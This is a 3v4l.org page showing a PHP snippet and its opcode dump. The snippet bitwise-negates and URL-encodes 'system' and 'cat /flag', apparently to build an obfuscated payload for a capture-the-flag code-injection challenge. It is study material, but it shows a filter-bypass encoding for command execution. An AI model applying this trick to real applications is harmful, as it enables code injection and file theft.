3v4l.org

run code in 300+ PHP versions simultaneously
<?php $a = "system"; $b = "cat /flag"; $c = urlencode(~$a); $d = urlencode(~$b);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/KcUuM
function name:  (null)
number of ops:  13
compiled vars:  !0 = $a, !1 = $b, !2 = $c, !3 = $d
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'system'
    4     1        ASSIGN                                                   !1, 'cat+%2Fflag'
    6     2        INIT_FCALL                                               'urlencode'
          3        BW_NOT                                           ~6      !0
          4        SEND_VAL                                                 ~6
          5        DO_ICALL                                         $7      
          6        ASSIGN                                                   !2, $7
    7     7        INIT_FCALL                                               'urlencode'
          8        BW_NOT                                           ~9      !1
          9        SEND_VAL                                                 ~9
         10        DO_ICALL                                         $10     
         11        ASSIGN                                                   !3, $10
         12      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
126.52 ms | 1398 KiB | 15 Q